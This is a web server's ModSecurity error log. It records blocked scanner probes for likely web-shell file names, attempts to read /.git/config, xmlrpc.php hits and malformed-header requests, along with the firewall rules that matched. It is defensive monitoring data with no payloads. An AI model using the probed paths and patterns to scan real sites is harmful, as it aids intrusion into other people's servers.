[Thu Apr 09 18:36:43.455265 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:64019] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adeBO61OMnvM2fMnB1N83AAAAAc"]
[Thu Apr 09 18:36:43.981061 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:62665] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adeBOzXObuzEuw8mNJv1hAAAAQQ"]
[Thu Apr 09 18:36:44.531133 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:64016] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adeBPDXObuzEuw8mNJv1iAAAAQY"]
[Thu Apr 09 18:36:45.067119 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:64657] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adeBPTXObuzEuw8mNJv1jAAAAQc"]
[Thu Apr 09 18:36:45.629563 2026] [:error] [pid 24927:tid 24947] [client 20.215.65.153:63239] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adeBPTXObuzEuw8mNJv1lQAAARE"]
[Thu Apr 09 18:36:46.171898 2026] [:error] [pid 24927:tid 24950] [client 20.215.65.153:64029] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adeBPjXObuzEuw8mNJv1mQAAARQ"]
[Thu Apr 09 18:36:46.755348 2026] [:error] [pid 18477:tid 18482] [client 20.215.65.153:64623] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adeBPsDe826HlFeoLPJ7IQAAAUM"]
[Thu Apr 09 18:36:47.290927 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:64056] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adeBPzXObuzEuw8mNJv1ngAAARA"]
[Thu Apr 09 18:36:47.872997 2026] [:error] [pid 24516:tid 24571] [client 20.215.65.153:61034] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adeBP9hW7vSS-UkeWCUfZAAAAFg"]
[Thu Apr 09 18:36:48.396499 2026] [:error] [pid 24927:tid 24951] [client 20.215.65.153:60381] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adeBQDXObuzEuw8mNJv1pwAAARU"]
[Thu Apr 09 18:36:48.909062 2026] [:error] [pid 24515:tid 24533] [client 20.215.65.153:64640] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adeBQK1OMnvM2fMnB1N84AAAAA4"]
[Thu Apr 09 18:36:49.428552 2026] [:error] [pid 24624:tid 24634] [client 20.215.65.153:65118] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adeBQe4Jn-WvK1ZBTvi4sAAAAMg"]
[Thu Apr 09 18:36:49.967356 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:65212] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adeBQTXObuzEuw8mNJv1swAAAQY"]
[Thu Apr 09 18:36:50.496716 2026] [:error] [pid 24927:tid 24933] [client 20.215.65.153:62701] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adeBQjXObuzEuw8mNJv1twAAAQM"]
[Thu Apr 09 18:36:51.051930 2026] [:error] [pid 24516:tid 24547] [client 20.215.65.153:62201] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adeBQ9hW7vSS-UkeWCUfZQAAAEA"]
[Thu Apr 09 18:36:51.588703 2026] [:error] [pid 24624:tid 24632] [client 20.215.65.153:60352] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adeBQ-4Jn-WvK1ZBTvi4sQAAAMY"]
[Thu Apr 09 18:36:52.144973 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:62657] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adeBRDXObuzEuw8mNJv1vwAAAQY"]
[Thu Apr 09 18:36:52.684833 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:63954] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adeBRDXObuzEuw8mNJv1wAAAAQU"]
[Thu Apr 09 18:36:53.219138 2026] [:error] [pid 24927:tid 24944] [client 20.215.65.153:62640] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adeBRTXObuzEuw8mNJv1wwAAAQ4"]
[Thu Apr 09 18:36:53.734380 2026] [:error] [pid 18477:tid 18487] [client 20.215.65.153:64055] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adeBRcDe826HlFeoLPJ7KwAAAUg"]
[Thu Apr 09 18:36:54.322432 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:60395] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adeBRjXObuzEuw8mNJv1xgAAAQQ"]
[Thu Apr 09 18:36:54.833788 2026] [:error] [pid 24624:tid 24633] [client 20.215.65.153:62115] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adeBRu4Jn-WvK1ZBTvi4twAAAMc"]
[Thu Apr 09 18:36:55.387693 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:62166] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adeBR61OMnvM2fMnB1N85QAAAAc"]
[Thu Apr 09 18:36:55.918030 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:60389] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adeBR8De826HlFeoLPJ7MQAAAUs"]
[Thu Apr 09 18:36:56.434534 2026] [:error] [pid 24927:tid 24953] [client 20.215.65.153:62658] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adeBSDXObuzEuw8mNJv1yQAAARc"]
[Thu Apr 09 18:36:56.952615 2026] [:error] [pid 24624:tid 24644] [client 20.215.65.153:62686] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adeBSO4Jn-WvK1ZBTvi4uwAAANI"]
[Thu Apr 09 18:36:57.475083 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:65101] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adeBSTXObuzEuw8mNJv1ywAAAQU"]
[Thu Apr 09 18:36:58.033513 2026] [:error] [pid 24927:tid 24933] [client 20.215.65.153:65176] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adeBSjXObuzEuw8mNJv1zgAAAQM"]
[Thu Apr 09 18:36:58.600523 2026] [:error] [pid 24517:tid 24585] [client 20.215.65.153:64618] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adeBSnboYEn2ZFM_PS9xygAAAIs"]
[Thu Apr 09 18:36:59.137427 2026] [:error] [pid 24927:tid 24949] [client 20.215.65.153:60373] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adeBSzXObuzEuw8mNJv16gAAARM"]
[Thu Apr 09 18:36:59.649935 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:64588] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adeBS8De826HlFeoLPJ7PQAAAVM"]
[Thu Apr 09 18:37:00.170712 2026] [:error] [pid 18477:tid 18482] [client 20.215.65.153:63268] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adeBTMDe826HlFeoLPJ7PgAAAUM"]
[Thu Apr 09 18:37:00.714062 2026] [:error] [pid 24517:tid 24589] [client 20.215.65.153:63970] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adeBTHboYEn2ZFM_PS9xzAAAAI8"]
[Thu Apr 09 18:37:01.238313 2026] [:error] [pid 24624:tid 24627] [client 20.215.65.153:65112] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adeBTe4Jn-WvK1ZBTvi4vwAAAME"]
[Thu Apr 09 18:37:01.815995 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:64647] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adeBTTXObuzEuw8mNJv19AAAAQI"]
[Thu Apr 09 18:37:02.340797 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:64030] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adeBTjXObuzEuw8mNJv19wAAAQc"]
[Thu Apr 09 18:37:02.908404 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:64034] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adeBTq1OMnvM2fMnB1N87QAAABc"]
[Thu Apr 09 18:37:03.445950 2026] [:error] [pid 24624:tid 24645] [client 20.215.65.153:63996] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adeBT-4Jn-WvK1ZBTvi4wAAAANM"]
[Thu Apr 09 18:37:04.019990 2026] [:error] [pid 24515:tid 24535] [client 20.215.65.153:62603] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adeBUK1OMnvM2fMnB1N88AAAABA"]
[Thu Apr 09 18:37:04.536143 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:64017] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adeBUDXObuzEuw8mNJv1_wAAAQU"]
[Thu Apr 09 18:37:05.065483 2026] [:error] [pid 24624:tid 24634] [client 20.215.65.153:64046] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adeBUe4Jn-WvK1ZBTvi4wQAAAMg"]
[Thu Apr 09 18:37:05.581476 2026] [:error] [pid 24516:tid 24549] [client 20.215.65.153:62608] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adeBUdhW7vSS-UkeWCUfbAAAAEI"]
[Thu Apr 09 18:37:06.157538 2026] [:error] [pid 24516:tid 24552] [client 20.215.65.153:64664] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adeBUthW7vSS-UkeWCUfcAAAAEU"]
[Thu Apr 09 18:37:06.716660 2026] [:error] [pid 24927:tid 24931] [client 20.215.65.153:62695] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adeBUjXObuzEuw8mNJv2CAAAAQE"]
[Thu Apr 09 18:37:07.246890 2026] [:error] [pid 24624:tid 24646] [client 20.215.65.153:65101] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adeBU-4Jn-WvK1ZBTvi4wgAAANQ"]
[Thu Apr 09 18:37:07.759204 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:64054] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adeBU61OMnvM2fMnB1N89gAAAAc"]
[Thu Apr 09 18:55:05.224481 2026] [:error] [pid 24515:tid 24537] [client 170.106.180.153:42994] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adeFia1OMnvM2fMnB1OD-AAAABI"]
[Thu Apr 09 22:49:34.506894 2026] [:error] [pid 24624:tid 24641] [client 43.153.102.138:51022] [client 43.153.102.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ade8fu4Jn-WvK1ZBTvj03QAAAM8"]
[Thu Apr 09 23:47:07.940107 2026] [:error] [pid 18477:tid 18489] [client 170.106.163.84:39468] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adfJ-8De826HlFeoLPKzRAAAAUo"]
[Thu Apr 09 23:50:06.080602 2026] [:error] [pid 63331:tid 63341] [client 34.11.42.77:40908] [client 34.11.42.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "adfKribKfIYuVjWbE4WsBAAAAcg"]
[Thu Apr 09 23:50:07.729418 2026] [:error] [pid 24927:tid 24950] [client 34.11.42.77:40952] [client 34.11.42.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "adfKrzXObuzEuw8mNJs_EAAAARQ"]
[Fri Apr 10 02:13:35.060470 2026] [:error] [pid 29569:tid 29573] [client 197.186.42.173:44389] [client 197.186.42.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.186.42.173, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adfsT7t9mkieWu8HPk5N9gAAAUA"]
[Fri Apr 10 04:26:45.294725 2026] [autoindex:error] [pid 12576:tid 12654] [client 212.47.77.99:63139] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 10 04:40:07.866250 2026] [:error] [pid 12574:tid 12610] [client 43.164.197.177:43376] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adgOp3w-1tvJISKJyrTPyQAAABA"]
[Fri Apr 10 06:12:35.115980 2026] [:error] [pid 59218:tid 59233] [client 136.107.164.182:50328] [client 136.107.164.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.164.182, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adgkU4jSO_Wp4VS3Qe_v1gAAAY0"]
